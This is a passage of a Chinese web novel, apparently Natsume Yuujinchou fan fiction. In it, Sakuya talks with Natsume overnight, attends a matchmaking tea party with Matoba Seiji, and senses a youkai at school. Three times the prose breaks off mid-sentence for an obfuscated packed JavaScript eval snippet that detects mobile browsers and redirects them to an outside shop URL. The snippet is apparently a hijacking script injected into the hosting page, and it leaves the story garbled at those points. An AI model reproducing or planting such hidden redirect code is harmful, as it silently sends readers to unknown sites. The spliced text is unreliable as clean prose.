夏目惊奇地看了一会儿,还给朔也,好奇问道:“山猫为什么要给你牙齿。” “不知道。”朔也想了想说道:“它问我愿不愿意请它做式神,我拒绝了,它就给了我这个。” “诶?” “哈?!”比夏目反应更大的是从垫子上坐起来的猫咪老师。 朔也看了看这对主仆,索性讲了之前在鹿鸣神宫的事情。 听完朔也的讲述,夏目震惊地好一会儿没说话,平复了好久,只憋出来一句,“竟然还有这样的事……” “是吧!”朔也应和道:“我也被吓到了,倒是能理解蓼牙当时的心情。” 夏目心有戚戚地点点头,问道:“那蓼牙最后有去见鹿神大人吗?” “谁知道呢,那家伙很快就跑得没影了。” 朔也耸耸肩,吐槽道:“妖怪的时间概念和我们不一样,我们以为的马上去见,就是立刻出发,但对妖怪来说,这个‘马上’说不定是一年后、十年后,甚至百年后呢?” 夏目想起那些以为他是外婆的妖怪,深以为然地点点头,“也对哦。” “哪里对了?!我们妖怪也是有时间观念的!”猫咪老师愤愤不平地辩驳道。 朔也漫不经心地嘲讽了一句,“是啊,有时间观念,会在大晚上去敲人类少年的窗户。” 猫咪老师又不吭声了。 夏目看了看一人一妖,突然意识到了什么,“窗户?” “啊,刚才有个不知道是什么的家伙,敲着窗户说来要回自己的名字。”朔也轻描淡写地说道:“我把它赶走了,然后给窗户贴了符咒,有这个在,短期内没有奇怪的东西来骚扰你了。” “啊?”夏目愣了一会儿才反应过来,“哦……” 他愣愣地想了一会儿,有点不敢去看朔也,到底该怎么解释“要回名字”的事呢? “不想说的事,不说就好了啊。”朔也突然笑了起来,说道:“夏目干嘛这么在意?每个人都有自己的秘密,朋友之间不是什么秘密都得分享的,我也有不能告诉夏目的事哎。” “诶?” 夏目看着朔也毫无阴霾的笑容,不自觉地跟着笑起来。 “嗯,我知道了!” 朔也刚把山猫的牙齿放回包里,包里的手机就响了起来。 29.第二十九章 夜谈 * “抱歉,我接个电话。” 夏目点点头,看着朔也走出房间,推拉门的隔音效果一般,尤其是在夜里,他能隐隐约约听见朔也通话的声音。 “静司先生……嗯,我在夏目家留宿了……嗯,挺好的,一切都很好……明天就回去了……不用麻烦,我自己回去就好……哈哈,放心吧,会准时到的……嗯,我会注意的……好的,静司先生也要早点休息……” 无论是对话的内容,还是朔也的语气,夏目都能感觉到其中的亲昵,他突然对那位静司先生有些好奇,朔也好像很小的时候就去的场家了,是跟着这位先生长大的,从现在的朔也身上就能看出来,他一定将朔也照顾得很好。 夏目的脑海里浮现出一个虽然严肃但十分可靠的中年男子形象。 “啊,夏目,静司先生刚刚有问起你哦。”朔也进了房间,笑着说道。 “呃,这位先生知道我?”夏目有些诧异。 “当然,静司先生还提议过,想将你接去的场家呢。” “诶?!”这次夏目真的是惊到了。 这个反应让朔也笑出声来,他把当时的来龙去脉讲了一遍。 夏目沉默了,他没想到在那个难熬的时间点上,在他不知道的地方,竟然有人担忧着他,想保护他…… 水滴轻轻落下,夏目狼狈地拭去。 朔也瞪大眼睛,慌张问道:“怎么了?怎么突然哭了?我、我有说什么过分的话吗?” 夏目使劲摇摇头,抽泣着闷声说道:“我不知道,你会那么担心我,你们……你们还愿意让我……” 原来他曾经错过了这么温柔的善意,比起遗憾没有打出去的电话,他更遗憾那时的自己对这些隐藏的关爱一无所知。 “呃,也不用这么感动啊……” 朔也无措地看着哭得停不下来的夏目,硬着头皮泼冷水道:“虽然我是的场家的人,这么说有点奇怪,但当时的场家愿意接纳你,肯定有部分原因是因为你所拥有的力量……这么说的话,你会不会没那么感动?” 最后的问句不知为何让夏目觉得十分好笑,他的注意力突然被转移,刚刚还哭着的人下一秒忍不住噗嗤笑了出来。 现在真的成了“哭笑不得”了。 “就算这样,那对我来说,也是很珍贵的东西了。” 夏目狼狈地擦了擦脸,红着眼睛轻声说道:“谢谢你,朔也,还有静司先生和七濑女士。”虽然他很不赞同七濑女士的某些做法,但在这件事情,七濑女士想过要帮助他,他很感激。 朔也挠挠头发,“其实我没做什么哎。”他想了想,说道:“现在想来,如果那时你真的给我打了电话,搞不好就错过塔子阿姨和滋叔叔了。” “所以你当时没联系我,也不一定是坏事。”朔也躺倒在榻榻米上,枕着双手,感叹道:“这应当就是你和他们的缘分吧,注定要成为一家人。” 这样的说法过于美好,夏目忍不住微笑起来。 朔也看着天花板,平静地说道:“其实在来这里之前,我本来打算问你,愿不愿意去的场家。” 说着他转头看向夏目,“但见到阿姨和叔叔后,我突然觉得,你还是待在这个家更好。” 夏目看着朔也,想起名取先生说过的话,朔也真的是个很温柔的人啊。 “所以,夏目,要尽快学会如何使用自己的力量哦。”朔也认真地说道,“我们的存在有可能给家人带来危险,只有足够强大,才能保护他们。” “嗯!”夏目坚定地点了点头。 “喂,丑猫,听见了吗?你也不能偷懒,好好履行你身为保镖的职责啊!” “嘁!”刚刚一直安静的猫咪老师哼了一声,倒是没有之前那么咋咋呼呼了。 对方的反应让朔也像是打了胜仗一样,得意地眯起眼睛,灯光映在他的异瞳里,像是点亮了细碎的星星。 夏目看得怔愣了一下,突然想起一个让他觉得异样的事情。 “朔也,你的眼睛……是从出生就是这样吗?” “诶?!”这次轮到朔也惊讶了,他猛地坐起身,吃惊地看向夏目,“你看得见?” “呃,看得见什么?”夏目一头雾水地说道:“我就看到你的眼睛颜色不一样。” 朔也激动地说道:“你果然看得见!” 他凑近夏目,指着自己的左眼,问道:“这只眼睛在你眼里是什么颜色?” “金棕色,啊,不,更像是金色。”夏目赞美道:“很漂亮。” 朔也突然笑出声来,“竟然真的能看见,夏目你超厉害的!” “哈?难道不是所有人都能看见吗?” 夏目刚问完,就想起一直被自己忽略的异样感,明明朔也的异色眼睛应该很受瞩目才对,但无论是看见朔也的同学,还是塔子阿姨和滋叔叔,都没有过度地关注过朔也的眼睛。 “除了我自己,到目前为止,只有你和静司先生能看见哦。”朔也摸了摸左眼,笑道:“其他人看到的都是黑色。” “诶!!!”夏目惊讶道:“名取先生也看不见吗?” 朔也摇摇头,“好像只有力量特别强的人才可以。” “本大爷也能看见!”猫咪老师插嘴道。 “你不是人,你不算!”朔也毫不留情地怼了回去,换来对方一声不忿地冷哼。 “竟然是这样……”夏目专注地看着朔也的左眼,心底突然涌出一股喜悦,他能和朔也看到同样的东西,真的太好了! “我觉得这个眼睛和名取先生那颗‘痣’一样奇怪,大概是妖怪的东西,也许哪天我能想办法驱逐它吧。”朔也平淡地说道。 “你小子还真是暴殄天物。”猫咪老师看着朔也,意味不明地说道。 朔也瞅了他一眼,神情淡淡的,“本就是不属于我的东西,人类拥有不属于自己的东西,都是要付出代价的。” 猫咪老师闭上眼睛,不再说话。 “对了,夏目,你不是想学怎么设结界吗?”朔也转移了话题,兴致盎然地说道:“正好我带了几张结界符咒,你要不要看看?” “好啊!”夏目也跟着兴奋起来。 两个少年人突然拿出了学习都没有的干劲,在深夜里研究起结界来。 在两人叽叽咕咕的动静里,猫咪老师不受任何影响地睡了过去。 * 朔也不是第一次在朋友家留宿,之前也在飒真家留宿过,他是那种在不熟悉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791996|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的环境里会不自觉警惕的人,所以外宿时容易睡不好觉。 但这次在夏目的家里,不知道是否是一直担心的事情有了圆满的结果,哪怕需要跟妖怪睡一个房间,朔也睡得也很不错。 在被子里伸了个长长的懒腰,朔也看向一旁的夏目,真不知道他是怎么在被丑猫泰山压顶的情况下还睡得着的。 习惯早起锻炼的朔也悄悄起床,洗漱完下楼时,才发现塔子阿姨已经在厨房里忙碌了。 “塔子阿姨,早!我来帮你烤鱼吧!” “啊,早……” 藤原塔子还没反应过来就被朔也接过了烤鱼的夹子,看到男孩熟练又利索的动作,阻拦的话语到了嘴边又止住了,笑道:“朔也君很熟练呢!” “我在家经常做这个,味道应该还不错哦~”朔也自信地说道。 的场本宅平时也有不少同门除妖师居住,厨房的帮佣常常很忙碌,所以会请同门的见习者过去帮忙。 朔也自然也经常过去,他大概在烹饪上着实有些天赋,虽然年纪不大,其实做起饭来已经有模有样了,至少在初中的家政上,他做的东西总是很快就会被同学瓜分掉。 朔也的话让塔子笑了起来,她一边煮着味增汤一边温和地感叹道:“贵志有朔也君这样的朋友,真的太好了。” 塔子回忆着昨晚的情形,微笑道:“在朔也君的身边,那孩子显得很放松呢,也更愿意说话了。” 朔也当然不会告诉塔子,其实昨天是他和夏目第二次见面。 不过人和人的关系本来也和时间的长短没什么关联,有些人可以一见如故,但有些人即使每天相见也依然形同陌路。 朔也看了看塔子温柔的神情,轻声说道:“塔子阿姨,夏目比我上次见他时开心了很多。” “因为在你们身边,夏目觉得很幸福。” 两人对视一眼,而后一起笑起来。 夏目就是在这个时候来到厨房的,眼前的一幕既让他觉得温馨可爱,又让他为朔也会做饭这件事感到惊奇。 “啊,夏目你来了,快过来,我教你怎么烤鱼!” “诶?!” “来嘛!我的烤鱼秘诀可是轻易不教给别人的哦……丑猫你干什么么?想偷吃吗!” “猫咪老师,不准偷吃!” “喵喵喵!!” “……” 家里有两个男孩的闹腾程度非同一般,藤原滋过来时,厨房里已经变得极热闹,早餐便在这快乐的喧嚣里开始了。 今天是周六,夏目不用去学校,朔也本可以再多待一会儿,但因为和的场静司已经提前有约,他吃过早餐就得返程。 夏目带着猫咪老师把朔也送到车站,明明是刚认识没多久的朋友,此刻的别离竟让他有些不舍。 “下次夏目去我那边玩吧!”朔也邀请道:“如果你觉得去的场家不太自在的话,我带你去其他地方逛逛。” “嗯!”夏目抱着猫咪老师,笑着点点头。 朔也的视线扫过他怀里的东西,严肃地叮嘱道:“喂,丑猫,保护好夏目,不准打什么坏主意!” “嘁!”丑猫不屑。 朔也冲它做了个鬼脸,而后跑上车,得意地挥了挥手。 30.第三十章 相亲 * 朔也回到的场本宅时,的场静司正在走廊下给八咫和那只圆圆的山雀喂食。 在习惯的场静司的存在后,两只鸟已经不再像之前那么畏惧他。 “静司先生,我回来了。” “哦呀,终于回来了。”的场静司微笑道:“朔也不在的话,总觉得有些寂寞呢。” 习以为常的朔也顺手摸了摸八咫的羽毛,在它要鸣叫之前捏了一把它的喙,而后才淡定地回道:“啊,那真是抱歉了。” 没能逗到朔也的的场静司有些遗憾地笑了笑,转而问道:“夏目君怎么样?” “很不错哦!”朔也不自觉地笑起来,把夏目现在的情况和的场静司分享了一下。 的场静司看着朔也的眼睛,那里面好似闪耀着摄人的光彩,那是朔也为一个近乎陌生的人所共情的庆幸和欢喜,非常真挚。 “看来朔也真的很喜欢夏目君。”的场静司感叹道。 “唔,怎么说呢……”朔也想了想,模糊地解释道:“我觉得夏目像小动物一样,有种天然的纯稚……”警惕又毫无防备,笨拙又聪明,凭借本能保护自己,也凭借本能去靠近那些和他一样的人。 “有趣。”的场静司有些意外于这样的评价。 朔也又问道:“静司先生还打算招揽夏目吗?” “朔也觉得如何呢?” 朔也笑了笑,直白地说道:“如果想让夏目加入的场一门的话,很难。但要是像名取先生那样一起合作的话,倒是没什么问题。” “听起来,好像被周一捷足先登了。”这个人和曾经的他一样,也渴望拥有能够同行的人。 “应该说,这就是缘分吧。”朔也笑道:“静司先生要是见到夏目就会明白了。” “是吗?”朔也的话勾起了的场静司的好奇心。 两人正说着话,有位同门过来提醒了一下出行的时间,朔也顿时反应过来,匆匆丢下一句,“我去换衣服!” 的场静司看着他匆忙的背影,有些在意,在朔也眼里,那个叫夏目的少年似乎是个非常特别的人…… * 自那次去鹿鸣神宫后,的场静司偶尔会带朔也参加类似的活动,频次不高,主要是为了让朔也慢慢熟悉的场一门的重要关系网络。 所以,到达目的地不久,朔也就察觉这次的场合和以往很不一样。 聚会在主人家的紫藤花园里举办,是一场以赏花为主题的下午茶会。 主持聚会的主人是一位非常优雅的夫人,到场的客人则多是贵妇人以及年轻男女,零星也有几个和朔也一样的孩子,但他们显然和夫人们一样,只是这场聚会的点缀。 朔也在察觉到许多女性有意无意扫过的场静司的视线后,终于后知后觉地反应过来,他凑近身旁的青年,小小声问道:“静司先生,这是相亲的聚会吗?” 的场静司侧过头看向朔也惊诧的眼神,逗弄道:“哦呀,这么快就发现了。” 朔也无语极了,他掩着嘴小声讨伐道:“这种聚会静司先生一个人来就可以啊,为什么要叫上我?我又不用相亲!” “因为很无聊嘛。”的场静司学着朔也的样子,掩着嘴回道:“不来的话,又会被长辈们唠叨许久,所以只能让朔也陪我咯。” “好麻烦。”朔也无奈地瞪了他一眼,“我才不想做挡箭牌呢,如果有女士来和你说话,我会避开的。” “啊,朔也好冷酷。”的场静司抱怨道。 他的话音刚落,就有一位年轻的小姐朝两人走了过来。 朔也说到做到,他冲那位女士微微颔首,然后利索地转身走开,只留了一句,“静司先生,待会儿见!” * 无情地丢下的场静司,朔也自己逛起了紫藤花园。 不得不说,这样的聚会选在春末的花园非常适合。 紫藤花开得正盛,仿佛一片片梦幻轻柔的浅紫色云朵,淡淡的清甜香气飘散在空气中,营造出含蓄的雅致氛围,年轻男女漫步其中,无需刻意拉扯便能萌生出暧昧来。 朔也远远地旁观着,很难将的场静司代入其中。 他日常见到的的场静司对待女性温和有礼,但保有一种非常清晰的距离感,以至于任何暧昧都没有萌发的空间。 不过,这对女性来说也许不算缺点,他曾听过千夏她们私底下的谈论,似乎这样的距离感反而比随意的亲和更有魅力。 朔也不懂这些,他甚至不懂班级里的一些男同学为什么在提到有关女孩的话题时会瞬间变得躁动,他对爱情和婚姻的理解源于父母的过往以及影视作品,纯粹的旁观者视角让他觉得这些都是很久以后才会发生的事情。 但对的场这种家族来说,已经继承家业的年轻一代开始考虑婚姻是理所当然的,这也是确保家族兴盛必要的一环,继承人即便没有意愿,出于对家族的责任感,大概也会妥协。 所以,静司先生,也会有无法贯彻自己意愿的时候吗? 朔也微微皱眉,在这件事上,他更希望静司先生能够按照自己的想法,和真心相爱的人结婚。 几位年轻的女士轻声说笑着从朔也身边走过,身姿优雅美丽。 这样明媚的场景让朔也的想法乐观了一些,既然静司先生愿意来参加聚会,应该没有太排斥吧,说不定会在这里邂逅喜欢的人呢? 抛开纠结的情绪,朔也放松下来,也有心情真正地赏花了。 或者说,不只是赏花。 在盛开的紫藤花从里,除了忙碌的蜜蜂外,其实还藏有很多可爱的“小东西”。 在朔也的视野里,那是一些圆圆的手掌大小的“年糕团子”,有一颗青豆般大小的“眼睛”,圆圆的身体上还支棱着两只不知道是触角还是手脚的“小棍子”。 它们在紫藤花上慢吞吞地蹦来蹦去,吸收着繁茂植物溢出来的微弱灵气。 这些小东西通常被被笼统地归于妖怪的行列,但其实远没到妖怪的级别,只是非常弱小的“灵”,甚至连意识都还没有真正的完善。 “你在看什么?” 朔也猛地回神,转过身。 “抱歉,吓到你了吗?” 说话的是一个年龄和朔也差不多的少女,她看向朔也的眼里满是好奇。 “你好,我是佐藤莉子,你呢?” “你好,我是铃木朔也。” 少女俏皮地笑起来,她看向朔也刚刚看着的方向,好奇问道:“铃木君刚刚在看什么呢?” 朔也有些疑惑,回答道:“那些紫藤花很漂亮。” “啊……”佐藤莉子失望地说道:“我还以为你在看什么神奇的东西呢。” “神奇的东西?”朔也探究地打量了女孩几眼。 “就是那种啊,那种!”佐藤莉子左右看了看,神秘兮兮地说道:“比如妖怪之类的……” 朔也微微睁大眼睛,而后微笑着说道:“佐藤小姐,我只是在赏花而已。” 他从不会对看不见妖怪的普通人提及妖怪相关的事情,哪怕对方很感兴趣。 大部分人对妖怪的兴趣都是源于猎奇心理,即便他们把妖怪想象得很可怖,但其实对妖怪的危险一点认知都没有。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797878|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若这些人只是止步于兴趣也就罢了,要是出于不理智地探寻目的,擅自做出吸引妖怪的行为,引起的麻烦可就多了。 朔也的回答让佐藤莉子有些失望,她不甘心地问道:“你们不是看得见妖怪吗?” 朔也顿了一下,没有说话。 “啊,抱歉,失礼了!”少女解释道:“我刚刚看到你和的场先生在一起,因为大家都说的场家的人能处理妖怪相关的事情,所以……” “没关系。” 朔也理解地点点头,正打算客气地告辞离开,抬眼时,却发现有个“小东西”蹦到了女孩的头上,大概是将紫藤花样的花簪当成了真的花。 对于这种“灵”来说,沾染上太多人类的气息并不是什么好事。 “佐藤小姐,好像有只虫子掉到你的头发上了,需要我帮你拿开吗?” “什、什么?虫子!!!”佐藤莉子僵在原地,颤抖着声音说道:“麻、麻烦你了!” “嗯,别害怕……” 朔也走近两步,抬起手,捏起花簪中的圆球,听到圆球发出“嘤嘤”的声音,可爱的反应让朔也忍不住微笑起来,他把圆球拢在双手间,轻轻放回一旁的紫藤花上。 “好了,虫子已经拿走了。”朔也看着圆球蹦回自己的同伴中间。 “拿、拿走了吗?”少女小心翼翼地动了动,终于松了口气,“铃木君,谢谢你!” “不用谢。”朔也淡笑着说道:“花丛里难免有些虫子,佐藤小姐不如去湖边走走,那边的视野更开阔。” 说完他礼貌地点点头,准备离开。 “哎,等等!”佐藤莉子叫住他,“那个,铃木君,可以一起去湖边吗?” 朔也愣了一下。 “呃,因为我姐姐很喜欢的场先生,如果可以的话,我想和你打听一下的场先生的喜好……” 朔也有些迟疑,他抬眼扫了一圈,敏锐地捕捉到正站在外廊下的某个身影。 “抱歉,有人正在等我,先告辞了。” “哎,铃木君!”少女又叫住了朔也,“可以和我交换联系方式吗?” 如果这个也拒绝就有些失礼了。 朔也点点头,掏出手机,和对方交换了号码。 这一次朔也终于顺利告辞,他快步走向外廊,然后在的场静司意味不明的微笑里走到了对方身边。 “哦呀,看来朔也比我更顺利呢。” “别调侃我啊,静司先生。”朔也撇撇嘴,“某位想追求你的女士,可是拜托了她的妹妹从我这里打听你的喜好。” “这样啊。”的场静司笑着说道:“如果朔也需要的话,我不介意你告诉她哦。” “就算只是个人喜好,也不能随意透露给陌生人吧!”朔也忍不住吐槽道:“你们大人的事情不要连累高中生啦!” “啊,抱歉。”的场静司安抚地摸了摸朔也的头,“朔也不喜欢这种场合吧?看来是我自作主张了。” “倒也不是……” 朔也有些怔愣,他突然意识到自己刚刚的反应有点过了,不知从何而来的怒气让他变得烦躁,甚至将气撒在了无辜的静司先生身上。 朔也低下头,轻声说道:“这个花园非常漂亮,静司先生一定是想到这个才会带我来的。” “我很喜欢,谢谢……” 的场静司看着朔也一副愧疚的样子,不禁弯起嘴角,温柔地安慰道:“我总是想让朔也看见我曾经看过的东西,如果能让你喜欢的话,那就再好不过了。” 朔也感觉自己的脸逐渐升温,他懊恼地想,都怪静司先生说话太随意了。 31.第三十一章 试探 * 的场静司带着朔也在紫藤花园里又逛了逛,聚会时间过半没多久,两人就和主人家告辞了。 “静司先生,现在走没问题吗?”朔也有些迟疑。 “哦呀,朔也还想再待一会儿?” “呃,我的意思是……这个是相亲的聚会,静司先生你……”难道不打算多认识一些女士么? 的场静司笑了起来,“我现在还没打算考虑婚姻的事情,会过来不过是应付父亲罢了。” “嗯……” 不知道为什么,听到的场静司这么说,朔也竟然有种安心的感觉。 可能对他来说,静司先生如师如兄如友,两人一直很亲近,如果静司先生突然要结婚,就好像稳固的关系里突然多了一个陌生人,会觉得不自在实属正常。 “朔也呢?”的场静司看向身旁的少年,问道:“打算恋爱吗?” “诶?干嘛突然问这个?”朔也很意外。 的场静司打量着朔也的神色,问道:“那个女孩好像很可爱呢,朔也不想交往试试吗?” “哈?”朔也瞪大眼睛,“我们只是说了几句话而已,这样就想交往的话,也太轻浮了!” “这样啊,没想到朔也的观念比较传统。”的场静司若有所思地问道:“所以交换联系方式是为了先加深了解么?” 朔也满头问号,无奈地解释道:“那只是因为不好拒绝而已,其实就算有联系方式也不意味着会联系……” 朔也的话还没说完,他的手机里就传出一声信息提示音。 两人的视线一起转向手机的方向,而后又有一声提示音响起。 的场静司看向朔也。 朔也突然莫名有点心虚,在下一声提示音响起前,他拿起手机扫了一眼,然后又放下了。 “不看看吗?”的场静司饶有兴致地问道。 “不用。”朔也叹了口气,“如果不是很紧急的消息,晚点回复或者不回复都是可以的。” 的场静司越发好奇起来,“为什么?这是现在的高中生流行的做法吗?” “呃……”朔也有些尴尬,纠结了一会儿还是告诉了的场静司原由。 虽然朔也认为自己不过是一个学习更认真一些的普通学生,但事实是,从初中开始,他就莫名成为了校园里的“人气角色”之一。 不过因为他在校时一般都和飒真待在一起,也不参加社团,所以没觉得有什么影响。 但升入高中之后就不一样了。 从外校升入的同学对他不太了解,也没有之前初中同学和他之间那种不打扰的默契,有比较开朗的同级生直接在走廊堵住他,找他索要联系方式,因为对方看起来很紧张,顾及他人心情的朔也就同意了。 而这就像开了一道口子,之后不断有人来找他交换号码,他本想拒绝的,飒真却提醒他,如果处理不当也许会让之前的同学被排挤…… 总之,因为这种匪夷所思的理由,朔也在学校里已经对这种行为放任自流了。 当然,朔也也有自己的应对方式,他发现拿到联系方式后,真正会给他发信息或打电话的人非常少,如果有的话,只要他表现得很冷淡或者不回复,对方就不会再联系他。 所以,除非手机另一头的人发来的是非常紧急的信息(比如求救),不然朔也都会冷处理掉。 这样的处理方式似乎让交换号码这个行为变得没什么意义,现在来要他联系方式的人已经很少了。 “噗嗤!” 的场静司笑出了声。 朔也撇撇嘴,他就知道会是这样。 “过于可爱了呢,朔也。”的场静司忍俊不禁。 朔也的头无力地靠到车窗上,面无表情地说道:“直接说我蠢也可以的。” “哈哈哈是真的很可爱哦。” 笨拙、狡黠,又可爱,和他印象中的那些男高形象完全不同。 “那朔也需要换一个新号码吗?” 朔也有些心动,但想了想,还是摇摇头。 “不了吧,毕竟是和别人交换过的,单方面更换不太礼貌,况且目前也没人故意打扰我。” 的场静司笑着评价道:“朔也是那种超级难得的男子高中生哦。” “这是什么说法啊?”朔也无精打采。 “我上高中的时候,同班的男同学可是很无聊的。” “无聊?” “更准确地说,仿佛被本能支配着一样。”的场静司回忆起高中时的情景,语气变得冷淡,“躁动得令人厌烦。” 的场静司在校时一直独来独往,高中时期他已经参与到家族事务中,精力更多地聚焦在校外的事情上,更何况那时朔也到了的场家,他留在学校的注意力更不多了。 但即便如此,他也曾见过那些明明在女同学面前表现正常的少年人,在避开女性后显露出的低俗、猥琐,甚至恶劣。 这种反差确实有青春期激素的影响,但说到底,不过是理智和修养不足以驯服兽性罢了,就像无法克制自己欲望的妖怪,丑陋且愚蠢。 朔也当然不会成为这个样子,他总是比自己以为的更好。 “朔也这么受欢迎,应该会收到很多情书吧?” 的场静司回想了一下,突然发现朔也从没提过这些事情。 “也没有很多。”朔也蹙眉问道:“说起来,静司先生,这些该怎么处理呢?还回去很麻烦,丢掉又不太好,难道要一直留着吗?” “哦呀,所以你都带回家了?”的场静司有些吃惊。 朔也点点头,不解地问道:“不带回家的话,得放在哪里?” “我都是放在学校储物柜里哦。” “诶?!” “不拆开,然后一直那样放着的话,没过多久它们就自己消失了。” 的场静司笑眯眯地解释道。 “啊?竟然可以这样!”朔也震惊,不禁开始思考起自己也这样做的可行性。 的场静司看着朔也一脸“学到了”的表情,调侃道:“所以,朔也是完全不打算在高中阶段恋爱么?感觉有点浪费青春呢。” “静司先生也是这样啊。”朔也一脸理所当然。 “做除妖师会很忙吧,而且还得升学,想一想都觉得时间不太够用。” 飒真已经从高一开始上进学塾了,他就算晚一点,也得从高二开始考虑补习的事。 “嘛,也是呢。” 的场静司看着这样心无旁骛的朔也,露出满意的微笑。 * 就在朔也想着是否试试的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16802336|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场静司的方法时,机会很快就来了。 某天早上他刚打开自己的储物柜,就被一旁的飒真撞了下肩膀,朔也疑惑地望过去,就见飒真冲他暧昧地笑着。 “又有了哦。” 顺着飒真的视线看过去,朔也看见了一个放在书脊顶上的信封,他拿出来看了一眼,素净的淡蓝色信封被用火漆封了起来,下面是一排清秀的字迹:铃木君亲启。 朔也淡定地把信放回了原位。 飒真原本看好戏的神情顿时变回了百无聊赖的样子。 “朔也,这么多情书,你真的一封都没有拆过吗?” “没有。” 对朔也来说,阅读这些极其私人的信件就像结缘一样,哪怕不接受告白,只要知道了对方的心情,就必然会产生某种无形的联系。 而人的心是难以捉摸的,也许在某个瞬间就会动摇,这对他人来说可能是浪漫的开始,但对朔也来说,不过是徒增烦恼甚至是痛苦罢了。 “哎,不懂你,明明不是苦行僧,又没有地狱级的考学压力,谈场恋爱多好啊!” 说着说着飒真自己都有些向往起来——如果他不用每天学习到很晚的话。 朔也打了个哈欠,慢吞吞地拿出要用的课本,喃喃回复道:“不谈也很好啊。” “全校男生里,也只有你能真心实意地说出这种话了……” 朔也突然站直身体,转过头朝教室前面看去。 “怎么了?!”飒真被吓了一跳。 朔也的视线在教室里仔仔细细地扫了一圈,距离上课没多久了,同学们几乎都已经到了教室,有的在整理东西,有的在补觉,有的在看书,也有零星几个正聚在一起聊天……每个人都看起来很正常。 “你在看什么?” 飒真一脸疑惑地打量着朔也的神情,和表情温和时展现出来的亲和力相比,面无表情的样子放在朔也的脸上总显得格外冷峻,他一直怀疑是因为朔也常年习弓,多少带有一些攻击性。 “飒真,你今天来得很早吧?”朔也边打量着同学边问道:“会觉得有什么和往常不太一样吗?” “你指哪方面?” “都可以,只要你觉得不一样,或者有点奇怪的。” 虽然飒真一头雾水,但还是按照朔也说的回想了一遍。 “嗯……没啥奇怪的……你储物柜里的情书算吗?” 朔也好似被提醒了,重新拿出信封翻来覆去地检查了一遍,甚至凑近闻了闻,但这种信封一般都被喷上了香氛,很难捕捉到什么特别的味道。 “朔也,你没事吧?”飒真担心地盯着他,补充道:“要说有什么奇怪的事,我觉得你现在就还挺奇怪的。” “我没事,谢谢提醒。” “啊,更奇怪了。”飒真小声吐槽道。 朔也无暇理他,只是视线依然在教室内来回游移着,他十分确信自己刚才察觉到了妖气,但那一缕妖气只短暂地出现了一瞬,然后就消失了。 学校里的结界一直由的场家设置,朔也开学没多久就都摸清楚了,日常没事都会顺便检查一下,很难有纰漏…… 所以,是哪个学生将属于妖怪的东西带到了学校吗? 还是说,有不惧结界的妖怪混进了学校呢? 32.第三十二章 异常 * 因为怀疑学校里出现了妖怪,朔也连着好几天都忙着在校园里到处转悠。 除各年级教室外,他还挨个围观了学校的社团,但那天感知的妖气再也没有出现过,好像真的只是朔也的错觉。 朔也暗暗叹了口气,路过走廊两边挂着的画作,站在画室门口,随意地往里面看了看,这里和其他社团一样,一切正常。 他刚准备离开,却突然捕捉到一丝异样,正是他那天早上感知过的妖气。 朔也停下脚步,猛地转过身,那一丝妖气又消失了。 “呃,这位同学,有什么事吗?” 被朔也动作惊到的是一个高挑的女生,看领结是三年级的学姐。 “抱歉,前辈。” “没关系,学弟是想加入美术社吗?”女孩打量了朔也几眼,眼睛突然亮了起来,“你是一年级的铃木学弟吧?” “呃……”对于高年级陌生前辈都能认出他这件事,朔也只觉得莫名尴尬。 “啊,我叫小林葵,是美术社的社长。”小林葵笑着邀请道:“铃木君要是对美术社感兴趣的话,可以进去参观哦!” “可以参观吗?不过我不太会画画。” 朔也当然想进去参观,他都在学校里逛了好几天了,妖气就只出现在画室附近,美术社顿时显得可疑起来。 小林葵爽快地应道:“当然,只要对美术感兴趣就行了。” 朔也跟着小林葵走进画室,社团成员纷纷和她打着招呼,朔也在其中看到了几个同班同学。 “铃木君,你也加入美术社了吗?”打招呼的是同班的男生江口。 “还没有,我只是来参观一下。” 小林葵见两人认识,索性把带朔也参观的任务交给了江口。 朔也跟着江口看了一圈,美术设由两间普通教室打通构成,里面除了绘画区还有手工区、创意区,都配备了完善的设备。 江口也给朔也介绍了大致情况,美术社是学校比较重视的社团,社员也比较多,不过和朔也同班级的只有三人,除了江口外,另外两个都是女生,长谷川和秋山。 三个同班生中,江口和长谷川都是性格比较开朗的类型,秋山则内向许多,朔也和江口、长谷川一起说话时,秋山却没有想交流的意思,一直在角落里默默地画画。 朔也旁敲侧击了一会儿,也没问出什么特别的事情,江口和长谷川都表示美术社一直都很和谐,大家相处得也很愉快。 没在美术社发现什么,朔也只好参观完就离开了。 * 就在朔也纠结隐藏的妖怪的时候,另一件事也开始变得奇怪起来。 他学着的场静司的方法,将情书放在储物柜里,但一周过去,情书不仅没有消失,还多了一封情书,同样的信封、同样的火漆印,同样的字迹,显然来自同一个人。 